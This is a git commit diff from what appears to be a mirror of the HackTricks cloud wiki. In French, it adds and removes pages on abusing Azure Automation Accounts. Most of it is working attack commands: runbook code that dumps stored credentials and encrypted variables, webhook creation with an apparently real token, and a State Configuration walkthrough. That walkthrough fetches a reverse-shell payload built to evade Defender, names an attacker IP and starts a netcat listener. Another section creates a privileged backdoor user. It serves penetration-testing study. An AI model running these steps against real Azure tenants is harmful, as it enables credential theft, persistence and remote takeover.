mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,239 @@
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
En résumé, ces permissions permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation, que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation.
|
||||
|
||||
La permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant :
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
|
||||
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Notez comment le script précédent peut être utilisé pour **leaker le nom d'utilisateur et le mot de passe** d'un identifiant et la valeur d'une **variable chiffrée** stockée dans le compte d'automatisation.
|
||||
|
||||
La permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permet à l'utilisateur de publier un Runbook dans le compte d'automatisation afin que les modifications soient appliquées :
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
La permission **`Microsoft.Automation/automationAccounts/jobs/write`** permet à l'utilisateur d'exécuter un Runbook dans le compte d'automatisation en utilisant :
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
```
|
||||
La permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** permet à l'utilisateur de lire la sortie d'un travail dans le compte d'automatisation en utilisant :
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Si aucun Runbook n'est créé, ou si vous souhaitez en créer un nouveau, vous aurez besoin des **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` et `Microsoft.Automation/automationAccounts/runbooks/write`** pour le faire en utilisant :
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Cette permission permet à l'utilisateur de **assigner une identité gérée par l'utilisateur** au compte d'automatisation en utilisant :
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très furtif) en utilisant la commande suivante.
|
||||
|
||||
Notez que l'**intervalle minimum pour un horaire est de 15 minutes**, et que l'**heure de début minimum est de 5 minutes** dans le futur.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every minute" \
|
||||
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
|
||||
## Form macOS
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every 15 minutes" \
|
||||
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Ensuite, avec la permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, il est possible d'assigner un Scheduler à un runbook en utilisant :
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"runOn": "",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"schedule": {
|
||||
"name": "<scheduler-name>>"
|
||||
},
|
||||
"parameters": {}
|
||||
}
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Avec la permission **`Microsoft.Automation/automationAccounts/webhooks/write`**, il est possible de créer un nouveau Webhook pour un Runbook à l'intérieur d'un compte d'automatisation en utilisant la commande suivante.
|
||||
|
||||
Notez que vous devrez **indiquer l'URI du webhook** avec le token à utiliser.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Avec la permission `Microsoft.Automation/automationAccounts/runbooks/draft/write`, il est possible de **mettre à jour le code d'un Runbook** sans le publier et de l'exécuter en utilisant les commandes suivantes.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"parameters": {},
|
||||
"runOn": "",
|
||||
"runtimeEnvironment": "PowerShell-5.1"
|
||||
}'
|
||||
|
||||
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
|
||||
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Cette permission permet à l'utilisateur de **configurer un contrôle de source** pour le compte d'automatisation en utilisant des commandes telles que les suivantes (cela utilise Github comme exemple) :
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <automation-account-name> \
|
||||
--name RemoteGithub \
|
||||
--repo-url https://github.com/carlospolop/gh-runbooks.git \
|
||||
--branch main \
|
||||
--folder-path /runbooks/ \
|
||||
--publish-runbook true \
|
||||
--auto-sync \
|
||||
--source-type GitHub \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**.
|
||||
|
||||
De plus, rappelez-vous que pour que le contrôle de source fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, cela peut également être configuré en définissant dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** l'**id client** de l'identité gérée par l'utilisateur à utiliser.
|
||||
|
||||
> [!TIP]
|
||||
> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de source une fois qu'il est créé.
|
||||
|
||||
### Environnements d'exécution personnalisés
|
||||
|
||||
Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté.
|
||||
|
||||
### Compromission de la configuration d'état
|
||||
|
||||
**Consultez le post complet ici :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Étape 1 — Créer des fichiers
|
||||
|
||||
**Fichiers requis :** Deux scripts PowerShell sont nécessaires :
|
||||
1. `reverse_shell_config.ps1` : Un fichier de configuration d'état désiré (DSC) qui récupère et exécute le payload. Il est disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1` : Un script pour publier la configuration sur la VM, disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Personnalisation :** Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload.
|
||||
|
||||
- Étape 2 — Compresser le fichier de configuration
|
||||
|
||||
Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Étape 3 — Définir le contexte de stockage et télécharger
|
||||
|
||||
Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Étape 4 — Préparer la boîte Kali
|
||||
|
||||
Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Le script est modifié pour spécifier la VM Windows cible et le port pour le reverse shell.
|
||||
|
||||
- Étape 5 — Publier le fichier de configuration
|
||||
|
||||
Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows.
|
||||
|
||||
- Étape 6 — Héberger la charge utile et configurer l'écouteur
|
||||
|
||||
Un Python SimpleHTTPServer est démarré pour héberger la charge utile, avec un écouteur Netcat pour capturer les connexions entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
La tâche planifiée exécute le payload, atteignant des privilèges de niveau SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,170 +0,0 @@
|
||||
# Az - Compte d'automatisation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation fournit un service d'automatisation basé sur le cloud, des mises à jour du système d'exploitation et de configuration qui prend en charge une gestion cohérente dans vos environnements Azure et non-Azure. Il comprend l'automatisation des processus, la gestion de la configuration, la gestion des mises à jour, des capacités partagées et des fonctionnalités hétérogènes.
|
||||
|
||||
Ce sont comme des "**tâches planifiées**" dans Azure qui vous permettront d'exécuter des choses (actions ou même des scripts) pour **gérer**, vérifier et configurer l'**environnement Azure**.
|
||||
|
||||
### Compte d'exécution
|
||||
|
||||
Lorsque le **Compte d'exécution** est utilisé, il crée une **application** Azure AD avec un certificat auto-signé, crée un **principal de service** et attribue le rôle de **Contributeur** pour le compte dans la **souscription actuelle** (beaucoup de privilèges).\
|
||||
Microsoft recommande d'utiliser une **Identité gérée** pour le Compte d'automatisation.
|
||||
|
||||
> [!WARNING]
|
||||
> Cela sera **supprimé le 30 septembre 2023 et remplacé par des Identités gérées.**
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
Les **Runbooks** vous permettent d'**exécuter du code PowerShell arbitraire**. Cela pourrait être **abusé par un attaquant** pour voler les permissions du **principal attaché** (le cas échéant).\
|
||||
Dans le **code** des **Runbooks**, vous pourriez également trouver des **informations sensibles** (comme des identifiants).
|
||||
|
||||
Si vous pouvez **lire** les **jobs**, faites-le car ils **contiennent** la **sortie** de l'exécution (potentielles **informations sensibles**).
|
||||
|
||||
Allez à `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
### Travailleur hybride
|
||||
|
||||
Un Runbook peut être exécuté dans un **conteneur à l'intérieur d'Azure** ou dans un **Travailleur hybride** (machine non-Azure).\
|
||||
L'**Agent Log Analytics** est déployé sur la VM pour l'enregistrer en tant que travailleur hybride.\
|
||||
Les jobs de travailleur hybride s'exécutent en tant que **SYSTEM** sur Windows et en tant que compte **nxautomation** sur Linux.\
|
||||
Chaque Travailleur hybride est enregistré dans un **Groupe de travailleurs hybrides**.
|
||||
|
||||
Par conséquent, si vous pouvez choisir d'exécuter un **Runbook** dans un **Travailleur hybride Windows**, vous exécuterez des **commandes arbitraires** à l'intérieur d'une machine externe en tant que **System** (technique de pivot intéressante).
|
||||
|
||||
## Compromettre la configuration d'état (SC)
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **Configuration d'état** est un service de gestion de configuration Azure qui vous permet d'écrire, de gérer et de compiler des configurations de PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) pour des nœuds dans n'importe quel cloud ou centre de données sur site. Le service importe également des [Ressources DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) et attribue des configurations aux nœuds cibles, le tout dans le cloud. Vous pouvez accéder à la Configuration d'état Azure Automation dans le portail Azure en sélectionnant **Configuration d'état (DSC)** sous **Gestion de la configuration**.
|
||||
|
||||
Des **informations sensibles** pourraient être trouvées dans ces configurations.
|
||||
|
||||
### RCE
|
||||
|
||||
Il est possible d'abuser de SC pour exécuter des scripts arbitraires sur les machines gérées.
|
||||
|
||||
{{#ref}}
|
||||
az-state-configuration-rce.md
|
||||
{{#endref}}
|
||||
|
||||
## Énumération
|
||||
```powershell
|
||||
# Check user right for automation
|
||||
az extension add --upgrade -n automation
|
||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||
|
||||
# Gets Azure Automation accounts in a resource group
|
||||
Get-AzAutomationAccount
|
||||
|
||||
# List & get DSC configs
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
|
||||
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
|
||||
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
|
||||
|
||||
# List & get Run books code
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook
|
||||
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
|
||||
|
||||
# List credentials & variables & others
|
||||
Get-AzAutomationAccount | Get-AzAutomationCredential
|
||||
Get-AzAutomationAccount | Get-AzAutomationVariable
|
||||
Get-AzAutomationAccount | Get-AzAutomationConnection
|
||||
Get-AzAutomationAccount | Get-AzAutomationCertificate
|
||||
Get-AzAutomationAccount | Get-AzAutomationSchedule
|
||||
Get-AzAutomationAccount | Get-AzAutomationModule
|
||||
Get-AzAutomationAccount | Get-AzAutomationPython3Package
|
||||
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
|
||||
|
||||
# List hybrid workers
|
||||
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
|
||||
```
|
||||
### Créer un Runbook
|
||||
```powershell
|
||||
# Get the role of a user on the Automation account
|
||||
# Contributor or higher = Can create and execute Runbooks
|
||||
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
|
||||
|
||||
# Create a Powershell Runbook
|
||||
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
|
||||
|
||||
# Publish the Runbook
|
||||
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
|
||||
# Start the Runbook
|
||||
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
|
||||
```
|
||||
### Exfiltrer les identifiants et les variables définis dans un compte d'automatisation à l'aide d'un Run Book
|
||||
```powershell
|
||||
# Change the crdentials & variables names and add as many as you need
|
||||
@'
|
||||
$creds = Get-AutomationPSCredential -Name <credentials_name>
|
||||
$runbook_variable = Get-AutomationVariable -name <variable_name>
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password
|
||||
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'
|
||||
|
||||
$ResourceGroupName = '<resource_group_name>'
|
||||
$AutomationAccountName = '<auto_acc_name>'
|
||||
$RunBookName = 'Exif-Credentials' #Change this for stealthness
|
||||
|
||||
# Creare Run book, publish, start, and get output
|
||||
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
|
||||
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
|
||||
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
|
||||
start-sleep 20
|
||||
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
|
||||
```
|
||||
> [!NOTE]
|
||||
> Vous pourriez faire la même chose en modifiant un Run Book existant, et depuis la console web.
|
||||
|
||||
### Étapes pour Configurer la Création Automatisée d'un Utilisateur Hautement Privilégié
|
||||
|
||||
#### 1. Initialiser un Compte d'Automatisation
|
||||
|
||||
- **Action Requise :** Créer un nouveau Compte d'Automatisation.
|
||||
- **Paramètre Spécifique :** Assurez-vous que "Créer un compte Azure Run As" est activé.
|
||||
|
||||
#### 2. Importer et Configurer le Runbook
|
||||
|
||||
- **Source :** Téléchargez le runbook d'exemple depuis [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
|
||||
- **Actions Requises :**
|
||||
- Importez le runbook dans le Compte d'Automatisation.
|
||||
- Publiez le runbook pour le rendre exécutable.
|
||||
- Attachez un webhook au runbook, permettant des déclencheurs externes.
|
||||
|
||||
#### 3. Configurer le Module AzureAD
|
||||
|
||||
- **Action Requise :** Ajoutez le module AzureAD au Compte d'Automatisation.
|
||||
- **Étape Supplémentaire :** Assurez-vous que tous les Modules d'Automatisation Azure sont mis à jour vers leurs dernières versions.
|
||||
|
||||
#### 4. Attribution des Permissions
|
||||
|
||||
- **Rôles à Attribuer :**
|
||||
- Administrateur Utilisateur
|
||||
- Propriétaire de l'Abonnement
|
||||
- **Cible :** Attribuez ces rôles au Compte d'Automatisation pour les privilèges nécessaires.
|
||||
|
||||
#### 5. Conscience de la Perte Potentielle d'Accès
|
||||
|
||||
- **Remarque :** Soyez conscient que la configuration d'une telle automatisation pourrait entraîner une perte de contrôle sur l'abonnement.
|
||||
|
||||
#### 6. Déclencher la Création d'Utilisateur
|
||||
|
||||
- Déclenchez le webhook pour créer un nouvel utilisateur en envoyant une requête POST.
|
||||
- Utilisez le script PowerShell fourni, en veillant à remplacer le `$uri` par votre véritable URL de webhook et à mettre à jour le `$AccountInfo` avec le nom d'utilisateur et le mot de passe souhaités.
|
||||
```powershell
|
||||
$uri = "<YOUR_WEBHOOK_URL>"
|
||||
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
|
||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
|
||||
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,57 +0,0 @@
|
||||
# Az - State Configuration RCE
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Vérifiez le post complet ici :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
### Résumé de la préparation et des étapes de l'infrastructure de serveur distant (C2)
|
||||
|
||||
#### Vue d'ensemble
|
||||
|
||||
Le processus implique la mise en place d'une infrastructure de serveur distant pour héberger un payload modifié de Nishang `Invoke-PowerShellTcp.ps1`, nommé `RevPS.ps1`, conçu pour contourner Windows Defender. Le payload est servi depuis une machine Kali Linux avec l'IP `40.84.7.74` en utilisant un simple serveur HTTP Python. L'opération est exécutée à travers plusieurs étapes :
|
||||
|
||||
#### Étape 1 — Créer des fichiers
|
||||
|
||||
- **Fichiers requis :** Deux scripts PowerShell sont nécessaires :
|
||||
1. `reverse_shell_config.ps1` : Un fichier de Configuration d'État Désirée (DSC) qui récupère et exécute le payload. Il est disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1` : Un script pour publier la configuration sur la VM, disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
- **Personnalisation :** Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload.
|
||||
|
||||
#### Étape 2 — Compresser le fichier de configuration
|
||||
|
||||
- Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
#### Étape 3 — Définir le contexte de stockage et télécharger
|
||||
|
||||
- Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
#### Étape 4 — Préparer la boîte Kali
|
||||
|
||||
- Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
- Le script est modifié pour spécifier la VM Windows cible et le port pour le reverse shell.
|
||||
|
||||
#### Étape 5 — Publier le fichier de configuration
|
||||
|
||||
- Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows.
|
||||
|
||||
#### Étape 6 — Héberger le payload et configurer l'écouteur
|
||||
|
||||
- Un Python SimpleHTTPServer est démarré pour héberger le payload, avec un écouteur Netcat pour capturer les connexions entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- La tâche planifiée exécute le payload, atteignant des privilèges de niveau SYSTEM.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
L'exécution réussie de ce processus ouvre de nombreuses possibilités pour d'autres actions, telles que le dumping de credentials ou l'expansion de l'attaque à plusieurs VMs. Le guide encourage l'apprentissage continu et la créativité dans le domaine d'Azure Automation DSC.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,227 @@
|
||||
# Az - Comptes d'automatisation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
Les comptes d'automatisation Azure sont des services basés sur le cloud dans Microsoft Azure qui aident à **automatiser des tâches** telles que la gestion des ressources, la configuration et les mises à jour à travers Azure et les environnements sur site. Ils fournissent des **Runbooks** (scripts pour l'automatisation qui sont exécutés), des **horaires** et des **groupes de travailleurs hybrides** pour exécuter des **jobs d'automatisation**, permettant l'infrastructure en tant que code (IaC) et l'automatisation des processus pour améliorer l'efficacité et la cohérence dans la gestion des ressources cloud.
|
||||
|
||||
### Paramètres
|
||||
|
||||
- **Identifiants** : Le mot de passe n'est accessible que dans un runbook à l'intérieur du compte d'automatisation, il est utilisé pour **stocker les noms d'utilisateur et les mots de passe en toute sécurité**.
|
||||
- **Variables** : Utilisées pour stocker des **données de configuration** qui peuvent être utilisées dans les runbooks. Cela pourrait également être des informations sensibles comme des clés API. Si la variable est **stockée de manière chiffrée**, elle n'est disponible que dans un runbook à l'intérieur du compte d'automatisation.
|
||||
- **Certificats** : Utilisés pour stocker des **certificats** qui peuvent être utilisés dans les runbooks.
|
||||
- **Connexions** : Utilisées pour stocker des **informations de connexion** aux services externes. Cela pourrait contenir des **informations sensibles**.
|
||||
- **Accès réseau** : Il peut être défini comme **public** ou **privé**.
|
||||
|
||||
## Runbooks & Jobs
|
||||
|
||||
